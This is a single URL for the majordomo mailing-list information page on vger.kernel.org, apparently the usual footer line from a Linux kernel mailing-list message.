http://vger.kernel.org/majordomo-info.html
